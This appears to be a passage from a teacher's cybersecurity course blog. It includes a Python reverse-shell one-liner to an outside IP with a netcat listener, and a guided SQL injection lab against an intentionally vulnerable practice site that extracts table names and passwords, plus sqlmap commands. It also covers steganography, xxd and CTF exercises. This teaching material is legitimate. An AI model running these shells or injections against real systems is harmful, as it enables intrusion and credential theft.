&lt;p&gt;You can connect using a python script too!&lt;/p&gt;
&lt;p&gt;Again run a server on the attak machine:&lt;/p&gt;
&lt;pre&gt;nc -lvp 9001&lt;/pre&gt;
&lt;p&gt;On the target machine run the python script:&lt;/p&gt;
&lt;p&gt;Please edit the script with the correct IP address OR shell variable.&lt;/p&gt;
&lt;pre&gt;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("149.89.161.100",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'&lt;/pre&gt;
&lt;p&gt;Note the IP and port inside the &lt;code&gt;s.connect(("149.89.161.100",9999))&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;The script so you can read it more easily&lt;/p&gt;
&lt;pre&gt;
    import socket,subprocess,os;
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
    s.connect(("149.89.161.100",9999));
    os.dup2(s.fileno(),0);
    os.dup2(s.fileno(),1);
    os.dup2(s.fileno(),2);    &lt;/pre&gt;&lt;li&gt;Errors don't go to the attack box (STDERR)&lt;/li&gt;
&lt;li&gt;Several other things that you will notice as you use it&lt;/li&gt;
&lt;h3&gt;Try it on tryhackme&lt;/h3&gt;
&lt;p&gt;If you want to try it on tryhackme, it is easier to use the attack box.&lt;/p&gt;
&lt;p&gt;When you use VPN to access tryhackme you can still get this working. However, you should experiment to make sur eyou can connect to your personal device.&lt;/p&gt;
&lt;h3&gt;Places to find reverse shells:&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet"&gt;https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://highon.coffee/blog/reverse-shell-cheat-sheet/#python-reverse-shell"&gt;https://highon.coffee/blog/reverse-shell-cheat-sheet/#python-reverse-shell&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md"&gt;https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Netcat cheat sheet:&lt;/h3&gt;
&lt;a href="https://www.varonis.com/blog/netcat-commands/"&gt;https://www.varonis.com/blog/netcat-commands/&lt;/a&gt;
&lt;h3&gt;General Problems:&lt;/h3&gt;
&lt;p&gt;This reverse shell isn't as flexible as a normal bash shell:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;no tab completion&lt;/li&gt;
&lt;li&gt;ctrl-C will close the whole shell.&lt;/li&gt;
&lt;li&gt;Errors don't go to the attack box (STDERR)&lt;/li&gt;
&lt;li&gt;Several other things that you will notice as you use it&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Try it on tryhackme&lt;/h3&gt;
&lt;p&gt;If you want to try it on tryhackme, it is easier to use the attack box.&lt;/p&gt;
&lt;p&gt;When you use VPN to access tryhackme you can still get this working. However, you should experiment to make sur eyou can connect to your personal device.&lt;/p&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-04-20n"/><published>2026-04-20T12:00:00+00:00</published></entry><entry><id>2026-04-21n</id><title>2026-04-21</title><updated>2026-04-21T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-04-21n"&gt;
&lt;h5&gt;2026-04-21&lt;/h5&gt;
&lt;h3&gt;TryHackMe challenges and Writeups&lt;/h3&gt;
&lt;p&gt;You were assigned a new module with three rooms.&lt;/p&gt;
&lt;h4&gt;Deadline: Tues April 28th&lt;/h4&gt;
&lt;p&gt;You are working on this in class and at home every day until you are done. If you don't work at home each day then you are not doing your homework.&lt;/p&gt;
&lt;p&gt;The goal of these rooms is to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Demonstrate that you learned the material in the prior rooms&lt;/li&gt;
&lt;li&gt;Communicate complex processes to other technical users (writing tutorials)&lt;/li&gt;
&lt;li&gt;Learn a few more tools while you are doing this.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You will have three new md files in your classwork repo.&lt;/p&gt;
&lt;p&gt;You will give meaningful commit messages as you complete various tasks and
     update your readme.&lt;/p&gt;
&lt;p&gt;You will commit for each new discreet task, explaining what you did / how you did it.
    If you commit once per session, you will get very large deductions in credit.&lt;/p&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-04-21n"/><published>2026-04-21T12:00:00+00:00</published></entry><entry><id>2026-04-24n</id><title>2026-04-22</title><updated>2026-04-22T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-04-24n"&gt;
&lt;h5&gt;2026-04-22&lt;/h5&gt;
&lt;h3&gt;CTF Writeup&lt;/h3&gt;
&lt;p&gt;
    The number one way to lose points on this project is to do a minimal job, and include "explanations" like
    "Google a hex to string calculator and use it to convert this." If you use an online tool to help you
    quickly solve the problem, consider some possible things you can do to explain in a way that will
    actually help someone learn something.
  &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Explain how to use built in tools to solve the problem. e.g. any built in tools md5sum etc.&lt;/li&gt;
&lt;li&gt;Explain how to solve the problem analytically and that the tool just does that really fast. E.g. a ceasar shift, or strange number base conversion.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Your ultimate goal: make your MD file informative, someone should learn things from reading through it.&lt;/p&gt;
&lt;h3&gt;Markdown&lt;/h3&gt;
&lt;p&gt;You will have a portion of your grade be your markdown.&lt;/p&gt;
&lt;p&gt;A secondary goal is to use markdown tags to make it more readable
    and &lt;strong&gt;demonstrate that you understand markdown&lt;/strong&gt;.    &lt;/p&gt;
&lt;p&gt;Lists, Bold, Italics, code blocks, tables, headers and similar things will make the page more readable. If your document is a wall of plain text with a few bold things that is not sufficient. &lt;/p&gt;
&lt;h2&gt;Some more tools for your CTF&lt;/h2&gt;
&lt;h3&gt;Exif Data&lt;/h3&gt;
&lt;p&gt;Exif is a standard for storing metadata in images. You can actually look at the head of the file with a text editor, &lt;code&gt;xxd&lt;/code&gt; or even &lt;code&gt;cat&lt;/code&gt; since it is usually plain text.&lt;/p&gt;
&lt;p&gt;
    You can view exif data in most operating systems by viewing the image properties. Right click the file and read the info!
  &lt;/p&gt;
&lt;p&gt;There is also a convinient exif command on the terminal.&lt;/p&gt;
&lt;p&gt;Finally there are other tools to do this, including web tools: &lt;a href="https://exifdata.com/"&gt;https://exifdata.com/&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Steganography&lt;/h2&gt;
&lt;p&gt;Steganography is the practice of hiding a secret message in something that is not secret. Images, text, video, wordProcessor documents and other files can store secret messages, scripts, and other data.&lt;/p&gt;
&lt;p&gt;For the following three programs, there are directories in your &lt;code&gt;cyber_resources&lt;/code&gt; you can find a steghide, and binwalk directory with some files to test out. Try to decode those files before working on your CTF+Challenges&lt;/p&gt;
&lt;h3&gt;Stegsolve&lt;/h3&gt;
&lt;a href="https://wiki.bi0s.in/steganography/stegsolve/"&gt;https://wiki.bi0s.in/steganography/stegsolve/&lt;/a&gt;
&lt;p&gt;In the lab, you can invoke stegsolve directly using:&lt;/p&gt;
&lt;code&gt;java -jar ~/Documents/cyber_resources/stegsolve/stegsolve.jar&lt;/code&gt;
&lt;p&gt;The official download seems to be: &lt;a href="http://www.caesum.com/handbook/Stegsolve.jar"&gt;http://www.caesum.com/handbook/Stegsolve.jar&lt;/a&gt;
&lt;/p&gt;&lt;p&gt;Since this is a java program it works on any system.&lt;/p&gt;
&lt;p&gt;You can test stegsolve on &lt;code&gt;~/Documents/cyber_resources/stegsolve/mountain.png&lt;/code&gt; &lt;/p&gt;
&lt;h3&gt;Steghide&lt;/h3&gt;
&lt;p&gt;The lab has steghide installed. You can install it on your personal device as well:&lt;/p&gt;
&lt;a href="https://wiki.bi0s.in/steganography/steghide/"&gt;https://wiki.bi0s.in/steganography/steghide/&lt;/a&gt;
&lt;p&gt;For windows: &lt;a href="http://steghide.sourceforge.net/download.php"&gt;http://steghide.sourceforge.net/download.php&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;Note: The password field when using steghide is optional, but it will always ask for the password.&lt;/p&gt;
&lt;h3&gt;Binwalk&lt;/h3&gt;
&lt;p&gt;
    Binwalk is a tool for explore a given binary image for embedded files and
    executable code. Specifically, it's designed for identifying files and code
    embedded inside firmware images.
  &lt;/p&gt;
&lt;p&gt;
    Binwalk is a useful tool that you should learn to use when trying to separte parts of a file.
    It can do so many other things, but I am just showing you the documentation (man pages).
  &lt;/p&gt;
&lt;p&gt;You can &lt;strong&gt;man binwalk&lt;/strong&gt; to see how it works but some examples could be helpful:&lt;/p&gt;
&lt;h3&gt;Examples of the extract command:&lt;/h3&gt;
&lt;h4&gt;Extract any files from the input file:&lt;/h4&gt;
&lt;code&gt;binwalk --dd=".*" INPUT_FILE_NAME&lt;/code&gt;
&lt;h4&gt;More complex:&lt;/h4&gt;
&lt;p&gt;-D : Extracts files identified during a --signature scan. Multiple --dd options may be specified.&lt;/p&gt;
&lt;strong&gt;-D 'type[:ext[:cmd]]'&lt;/strong&gt;
&lt;ol&gt;
&lt;li&gt;type is a *lower case* string contained in the signature description (regular expressions are supported)&lt;/li&gt;
&lt;li&gt;ext is the file extension to use when saving the data disk (default none)&lt;/li&gt;
&lt;li&gt;cmd is an optional command to execute after the data has been saved to disk&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;Extract all png files from a file:&lt;/h4&gt;
&lt;code&gt;binwalk -D  'png image:png' INPUT_FILE_NAME&lt;/code&gt;
&lt;h4&gt;Extract and run another program (in this case Unzip):&lt;/h4&gt;
&lt;p&gt;
    The following example demonstrates specifying an extraction rule using the
    --dd option that will extract any signature that contains the string 'zip archive' with a file extension of 'zip',
    and subsequently execute the 'unzip' command. &lt;/p&gt;
&lt;code&gt;binwalk -D 'zip archive:zip:unzip %e' firmware.bin&lt;/code&gt;
&lt;p&gt;&lt;strong&gt;Same as before, but additionally, PNG images are extracted as-is with a 'png' file extension.&lt;/strong&gt;&lt;/p&gt;
&lt;code&gt;binwalk -D 'zip archive:zip:unzip %e' -D 'png image:png' firmware.bin&lt;/code&gt;
&lt;p&gt;Note the use of the '%e' placeholder. This placeholder will be replaced with the relative path to the extracted file when the unzip command is executed:&lt;/p&gt;
&lt;h3&gt;Try it Now: &lt;/h3&gt;
&lt;p&gt;In your &lt;code&gt;cyber_resources&lt;/code&gt; you can find a steghide, and binwalk directory with some files to test out.&lt;/p&gt;
&lt;p&gt;If you get a permission denied error you may have to copy the image/file to your home directory before you try to perform operations&lt;/p&gt;
&lt;p&gt;Or try to extract data from the following two files. When you do this with -D , binwalk creates a directory. You can open the contents yourself... based on the data type.&lt;/p&gt;
&lt;p&gt;Download the file: &lt;a href="src/cat"&gt;cat&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Download the file: &lt;a href="src/cat2"&gt;cat2&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-04-24n"/><published>2026-04-22T12:00:00+00:00</published></entry><entry><id>2026-04-24n</id><title>2026-04-24</title><updated>2026-04-24T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-04-24n"&gt;
&lt;h5&gt;2026-04-24&lt;/h5&gt;
&lt;h2&gt;Comparing Files:&lt;/h2&gt;
&lt;p&gt;DO IT: copy both win.txt and lin.txt to your home directory somewhere&lt;/p&gt;
&lt;p&gt;DO IT: Make both files (win.txt and lin.txt) executeable using the chmod command&lt;/p&gt;
&lt;pre&gt;chmod u+x FILENAME&lt;/pre&gt;
&lt;p&gt;DO IT: &lt;strong&gt;Run the commands:&lt;/strong&gt; &lt;code&gt;./win.txt&lt;/code&gt; and &lt;code&gt;./lin.txt&lt;/code&gt; and compare the results. &lt;/p&gt;
&lt;h3&gt;xxd hex with metadata:&lt;/h3&gt;
&lt;p&gt;You should remember the xxd command:&lt;/p&gt;
&lt;code&gt;xxd input_file&lt;/code&gt;
&lt;p&gt;This shows the hex values AND the plain text along side. Great for previewing the information while looking at the hex values. This is not ideal if you want to edit the results however.&lt;/p&gt;
&lt;h3&gt;xxd to plain hex with no metadata:&lt;/h3&gt;
&lt;code&gt;xxd -p input_file&lt;/code&gt;
&lt;p&gt;This ONLY shows the hex values, and makes it easier to modify if you know which parts you are trying to edit.&lt;/p&gt;
&lt;p&gt;You can redirect this to another file so you can save it!&lt;/p&gt;
&lt;h4&gt;STOP AND DO IT!&lt;/h4&gt;
&lt;p&gt;DO IT: &lt;strong&gt;View lin.txt and win.txt as hex. What is the difference?&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;Hexdump back into a binary file&lt;/h3&gt;
&lt;p&gt;You can use xxd to get the plain text hex back to binary&lt;/p&gt;
&lt;p&gt;Revert a plaintext hexdump back into binary, and save it into a file:&lt;/p&gt;
&lt;code&gt;xxd -r -p input_file output_file&lt;/code&gt;
&lt;p&gt;or:&lt;/p&gt;
&lt;code&gt;xxd -r -p input_file &amp;gt; output_file&lt;/code&gt;
&lt;h3&gt;Now you can convert the original file to plain text hex, edit that, then convert back to a new edited file:&lt;/h3&gt;
&lt;code&gt;xxd -p FILE.original &amp;gt; temp&lt;/code&gt;
&lt;code&gt;#EDIT YOUR temp FILE&lt;/code&gt;
&lt;code&gt;xxd -p -r temp &amp;gt; FILE.new&lt;/code&gt;
&lt;p&gt;This is another way to modify files that have line endings you don't like, or when nano appends a newline to the end of the file.&lt;/p&gt;
&lt;p&gt;This is not always useful on text files, but you can tell the difference between a windows line ending and a linux line ending, and even fix it!&lt;/p&gt;
&lt;h3&gt;Try fixing an image file with a bad header:&lt;/h3&gt;
&lt;p&gt;PNG files are really great, but if you change ONE bit in the header, it will not open with an image viewer.&lt;/p&gt;
&lt;a href="https://en.wikipedia.org/wiki/Portable_Network_Graphics#File_header"&gt;https://en.wikipedia.org/wiki/Portable_Network_Graphics#File_header&lt;/a&gt;
&lt;p&gt;To save you the page load:&lt;/p&gt;
&lt;table&gt;
&lt;tr&gt;&lt;th&gt;Values (hex)&lt;/th&gt; &lt;th&gt;Purpose &lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;89&lt;/td&gt;&lt;td&gt; 	Has the high bit set to detect transmission systems that do not support 8-bit data and to reduce the chance that a text file is mistakenly interpreted as a PNG, or vice versa.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;50 4E 47 &lt;/td&gt;&lt;td&gt;	In ASCII, the letters PNG, allowing a person to identify the format easily if it is viewed in a text editor.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;0D 0A &lt;/td&gt;&lt;td&gt;	A DOS-style line ending (CRLF) to detect DOS-Unix line ending conversion of the data.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;1A &lt;/td&gt;&lt;td&gt;	A byte that stops display of the file under DOS when the command type has been used—the end-of-file character.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;0A&lt;/td&gt;&lt;td&gt; 	A Unix-style line ending (LF) to detect Unix-DOS line ending conversion.&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;Section 4: Fix the PNG file&lt;/h2&gt;
&lt;p&gt;GOAL: Use the xxd command to view the png file&lt;/p&gt;
&lt;p&gt;You should copy this file to your home directory:&lt;/p&gt;
&lt;code&gt;~/Documents/cyber_resources/fileEdit/image.png&lt;/code&gt;
&lt;p&gt;Fix the header and convert the hex back to a normal using the -r flag of xxd.&lt;/p&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-04-24n"/><published>2026-04-24T12:00:00+00:00</published></entry><entry><id>2026-04-28n</id><title>2026-04-28</title><updated>2026-04-28T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-04-28n"&gt;
&lt;h5&gt;2026-04-28&lt;/h5&gt;
&lt;h2&gt;Do now:&lt;/h2&gt;
&lt;p&gt;reflect on this poem:&lt;/p&gt;
&lt;p&gt;"The radiant wisdom of the morning star, a beacon of light amidst the swirling mists. -Dù Fǔ"&lt;/p&gt;
&lt;p&gt;Dù Fǔ knew about cybersecurity and hid a flag in his poem...(no not really)&lt;/p&gt;
&lt;h2&gt;CLASSWORK/Homework:&lt;/h2&gt;
&lt;h4&gt;Quick Coding Challenge: (classwork/2026-04-28/Decode.java)&lt;h4&gt;
&lt;/h4&gt;&lt;/h4&gt;&lt;p&gt; Here is text that contains a flag: &lt;code&gt;"晬慧筈潷彤楤彴桩獟敶敮彨慰灥渿㽽"&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;Hint: 16 bit encoded characters but the message is using ascii characters.&lt;/p&gt;&lt;p&gt;
&lt;/p&gt;&lt;p&gt;Java happens to supports 16 bit characters, not sure what would happen in c... This looks like a job for java! A char variable will be greater than 1 byte if the string is encoded with multiple bytes. This makes the charAt of the string at least two bytes, and compatible with bitwise operators. You can then typecast to char to extract the new value.&lt;/p&gt;
&lt;p&gt;I will test by running "javac Decode.java &amp;amp;&amp;amp; java Decode"&lt;/p&gt;
&lt;p&gt;Note:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt; you can use the literal string &lt;code&gt;"晬慧筈潷彤楤彴桩獟敶敮彨慰灥渿㽽"&lt;/code&gt; in your java program.&lt;/li&gt;
&lt;li&gt; charAt() will return a 2 byte character. This actually stores both characters of the string.&lt;/li&gt;
&lt;li&gt;Use your bitwise operations to extract HALF of that number (1 byte) so you can look at it cleanly&lt;/li&gt;
&lt;li&gt;After you are done, place the answer in a file, and xxd that.&lt;/li&gt;
&lt;li&gt;Place &lt;code&gt;"晬慧筈潷彤楤彴桩獟敶敮彨慰灥渿㽽"&lt;/code&gt; in a file, and xxd it.&lt;/li&gt;
&lt;li&gt;Find the similarity and see if your results match how the bits are aligned.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-04-28n"/><published>2026-04-28T12:00:00+00:00</published></entry><entry><id>2026-04-29n</id><title>2026-04-29</title><updated>2026-04-29T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-04-29n"&gt;
&lt;h5&gt;2026-04-29&lt;/h5&gt;
&lt;h2&gt;SQL&lt;/h2&gt;
&lt;p&gt;You now have an SQL module on tryhackme. We will do an activity on Friday so try to complete this before class Friday. It should be due Monday.&lt;/p&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-04-29n"/><published>2026-04-29T12:00:00+00:00</published></entry><entry><id>2026-05-01n</id><title> 2026-05-01 </title><updated>2026-05-01T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-05-01n"&gt;
&lt;h5&gt; 2026-05-01 &lt;/h5&gt;
&lt;h3&gt;SQL Injection&lt;/h3&gt;
&lt;p&gt;Together the three exploits in this section will allow a hacker to look at user emails and passwords from a website that stores data in a SQL database.&lt;/p&gt;
&lt;h4&gt;Exploits in this Section&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;Not sanitized user input&lt;/li&gt;
&lt;li&gt;Leaked error messages&lt;/li&gt;
&lt;li&gt;Plaintext passwords&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Lets do it&lt;/h3&gt;
&lt;p&gt;We will be hacking a website &lt;a href="http://hack-yourself-first.com/"&gt;http://hack-yourself-first.com/&lt;/a&gt; created by Troy Hunt.     &lt;/p&gt;
&lt;p&gt;It is an intentionally vulnerable web app for practicing web security. WARNING Do not use any real passwords or any real personal information as the site will be hacked by many people and the data rendered visible. &lt;/p&gt;
&lt;p&gt;Students will be in groups of 2-3. Each group will have a number. You will have a fake email that uses that number e.g.  group1@cyber.stuy,  group2@cyber.stuy&lt;/p&gt;
&lt;p&gt;Each group will be named cyber9XX@gmail.com or cyber10xx@gmail.com where xx is your computer number. Chooses a password, write your email and password combination on paper so you don't forget.&lt;/p&gt;
&lt;p&gt;Groups will: Sign up for an account… using fake info here: &lt;a href="http://hack-yourself-first.com/Account/Register"&gt;http://hack-yourself-first.com/Account/Register&lt;/a&gt; &lt;/p&gt;
&lt;h3&gt;Step by step...&lt;/h3&gt;
&lt;p&gt;On the home page where it says "Cylinder layouts". Click a few buttons and see what the URL string passes to the website&lt;/p&gt;
&lt;pre&gt;
    http://hack-yourself-first.com/CarsByCylinders?Cylinders=V6
    http://hack-yourself-first.com/CarsByCylinders?Cylinders=V8
    http://hack-yourself-first.com/CarsByCylinders?Cylinders=V12
  &lt;/pre&gt;
&lt;p&gt;Notice that a query string &lt;code&gt;Cylinders=___&lt;/code&gt; is used to tell the server what to request. &lt;/p&gt;
&lt;p&gt;It is possible the string is being used to generate a SQL query, like this:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;SELECT * FROM supercar WHERE cylinders = 'V6';&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;
    We can test this by trying to trigger an error.
    If we can trigger a SQL syntax error, that means the query string is inserted
    AND we have the ability to inject SQL queries.
    Perhaps the "V6" is ending up between a pair of single quotes, as it should be a SQL string.
  &lt;/p&gt;
&lt;p&gt;&lt;code&gt;hack-yourself-first.com/CarsByCylinders?Cylinders=V6' ????? ;--&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;
    The single quote after V6 is closing the string,
    followed by more sql code.
  &lt;/p&gt;
&lt;h3&gt;Try to:&lt;/h3&gt;
&lt;p&gt;Expose a SQL injection vulnerability&lt;/p&gt;
&lt;p&gt;Do this by inducing a SQL syntax error. Edit the URL by altering the query string and re-visiting the page.&lt;/p&gt;
&lt;p&gt;A conspicuous error message will appear if the website does not handle errors well.&lt;/p&gt;
&lt;h3&gt;SQL tautology&lt;/h3&gt;
&lt;p&gt;Now let's inject some purposeful SQL. We'll use a SQL tautology. These are expressions that are always true because they are redundant 1 = 1 or 'x' = 'x'. When combined with logical operators OR and AND these can be used in malicious ways to negate other boolean expressions.&lt;/p&gt;
&lt;p&gt;This page is showing the cars with a V6 cylinder layout. Let's see if we can get the page to show ALL the cars, regardless of cylinders. See if you can utilize a tautology to craft a WHERE clause that will always be true.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;hack-yourself-first.com/CarsByCylinders?Cylinders=V6' ??????? ;--&lt;/code&gt; &lt;/p&gt;
&lt;h3&gt;Schema discovery&lt;/h3&gt;
  Navigate to this url:
  &lt;a href="http://hack-yourself-first.com/CarsByCylinders?Cylinders=V6' AND 1=(SELECT * FROM foo);--"&gt;http://hack-yourself-first.com/CarsByCylinders?Cylinders=V6' AND 1=(SELECT * FROM foo);--&lt;/a&gt;
&lt;p&gt;
    Visiting this page will tell us Invalid object name 'foo'.
    This is a helpful error message because it will change if we choose a name that IS a valid name!
  &lt;/p&gt;
&lt;p&gt;This is running a SQL command similar to this:&lt;/p&gt;
&lt;pre&gt;SELECT * FROM supercar WHERE cylinder = 'V6' AND 1=(SELECT * FROM foo);--';&lt;/pre&gt;
&lt;p&gt;This gives an error that foo doesn't exist! (good) Let us find a way to find existing things.&lt;/p&gt;
&lt;p&gt;What if we replace "foo" with "supercar"? The error message will be different. This is because the inner query succeeded, telling us that the "supercar" table exists. In fact it returned several rows and placed the result in the outer query and tried to compare it to 1. The error is from trying to compare a single integer to a bunch of rows. Using this method, we can brute force the rest of the table names if we wanted to (but don't do that just yet).&lt;/p&gt;
&lt;p&gt;You can guess a bunch of values for foo and see when you get an error that isn't the same&lt;/p&gt;
&lt;p&gt;First we'll need to find out the table name. Here are some sensible names to try:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;user&lt;/li&gt;
&lt;li&gt;users&lt;/li&gt;
&lt;li&gt;profile&lt;/li&gt;
&lt;li&gt;profiles&lt;/li&gt;
&lt;li&gt;userprofile&lt;/li&gt;
&lt;li&gt;account&lt;/li&gt;
&lt;li&gt;accounts&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Once we have the table name for our users, we can try to get some password.&lt;/p&gt;
&lt;h3&gt;See the top 1 value:&lt;/h3&gt;
&lt;p&gt;
    Using an inner query we can run arbitrary commands.
    However, we also need to visualize the result.
    The structure of the outer query may limit our ability to see our results.
    We know that the result of the inner query will get compared to the number 1.
    If we have multiple values, we'll get a vague error message.
    It doesn't actually show the results from the inner query.
    But what if the result of the inner query is a single value?
  &lt;/p&gt;
&lt;pre&gt;http://hack-yourself-first.com/CarsByCylinders?Cylinders=V6' AND 1=(SELECT TOP 1 COLUMN_NAME FROM TABLE_NAME);--&lt;/pre&gt;
&lt;p&gt;e.g.&lt;/p&gt;
&lt;pre&gt;1=(SELECT TOP 1 cylinders FROM supercar);--';&lt;/pre&gt;
&lt;p&gt;You have to guess the column names for now, but you can probably guess at least one... name, id, email, first/last name, or other common categories for a user table.&lt;/p&gt;
&lt;h3&gt;Password stealing&lt;/h3&gt;
&lt;p&gt;Let's start stealing passwords.  &lt;/p&gt;
&lt;p&gt;TOP 1 will limit the results to one row. We are also only selecting one column "cylinders".
    This is a single value (the string "V6") so it actually makes sense to try to compare it to
    the value 1! The following error message is displayed:
    Conversion failed when converting the nvarchar value 'V6' to data type int.
    It tried to convert "V6" to an integer and it actually showed us the value in the error message!
  &lt;/p&gt;
&lt;p&gt;Perhaps we can do something similar with a user's password.&lt;/p&gt;
&lt;p&gt;Craft an inner query to obtain the top 1 user's password&lt;/p&gt;
&lt;h3&gt;Hack your neighbor group!&lt;/h3&gt;
&lt;p&gt;
    Exchange emails (that you used to register with this app)
    with another group and try to obtain one another's passwords.
  &lt;/p&gt;
&lt;h3&gt;More:&lt;/h3&gt;
&lt;p&gt;There are libraries dedicated to preventing this. &lt;/p&gt;
&lt;p&gt;The main thing is to scrub input from special characters to prevet sql injections!&lt;/p&gt;
&lt;p&gt;Furthermore, using an ORM will prevent malicious SQL injections to make it to the DB.    &lt;/p&gt;
&lt;h3&gt;SQLMAP&lt;/h3&gt;
&lt;p&gt;Use SQLMap at home...&lt;/p&gt;
&lt;p&gt;sqlmap --url http://hack-yourself-first.com/CarsByCylinders?Cylinders= --dbs -batch&lt;/p&gt;
&lt;p&gt;sqlmap --url http://hack-yourself-first.com/CarsByCylinders?Cylinders= -D hackyourselffirst_db --tables --batch&lt;/p&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-05-01n"/><published>2026-05-01T12:00:00+00:00</published></entry><entry><id>2026-05-09n</id><title> 2026-05-04 </title><updated>2026-05-04T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-05-09n"&gt;
&lt;h5&gt; 2026-05-04 &lt;/h5&gt;
&lt;img alt="StarWarsDay" src="img/StarWarsDay.png" width="600"/&gt;
&lt;h3&gt;Final Project:&lt;/h3&gt;
&lt;h3&gt;Update:&lt;/h3&gt;
&lt;p&gt;Since everyone has learned docker, you can in fact create a box to attack. This is not meant to be deployed on tryhackme, but you can include a vulnerable docker container that you can let someone try to hack into.&lt;/p&gt;
&lt;p&gt; You will have 2 weeks (10 school days)&lt;/p&gt;
&lt;p&gt; &lt;strong&gt;Start now:&lt;/strong&gt; Begin to choose research topics and partners. You will start the project next week, you need a partner and topic by Wednesday.&lt;/p&gt;
&lt;p&gt; &lt;strong&gt;Ultimate goals:&lt;/strong&gt; &lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;You will research and learn about a topic.
        &lt;/li&gt;&lt;li&gt;You should develop something using an appropriate programming language: a tool, an implementation of a known algorithm, simulation, exploit etc.
        &lt;/li&gt;&lt;li&gt;You will create a 11-14 minute video to the on that cybersecurity topic and demonstrate the tool, or use it to explain the topic.
        &lt;/li&gt;&lt;li&gt;The video should teach about the purpose and importance of what it does, and demo how it works.
        &lt;/li&gt;&lt;li&gt;All materials required should be part of your repo. (Sample images, files, presentation notes/slides, etc)
      &lt;/li&gt;&lt;/ol&gt;
&lt;h3&gt;&lt;/h3&gt;
&lt;p&gt;If you implement existing algorithms, having a tool that already works to base yours off of is important. e.g. enigma machine / other ciphers already have online tools to use. Yours should be compatible.&lt;/p&gt;
&lt;p&gt;You can present a new cipher (pre-computer is easy, contemporary is difficult), along with historical context, weakpoints.
       You would be required to make an encoder/decoder and maybe a visualizer, or a tool that can crack it when a key is missing.&lt;/p&gt;
&lt;p&gt;You can present an existing tool / exploit. You would need to provide a way for students to test this. (tryhackme room or similar)&lt;/p&gt;
&lt;p&gt;You can implement an image / sound stego program. Something like stegsolve maybe. For audio, something that keeps the files valid sound files but with hidden bits. &lt;/p&gt;
&lt;p&gt;Harder: Implement a contemporary cipher (SHA/AES) preferably you can demonstrate that it is compatible with other tools&lt;/p&gt;
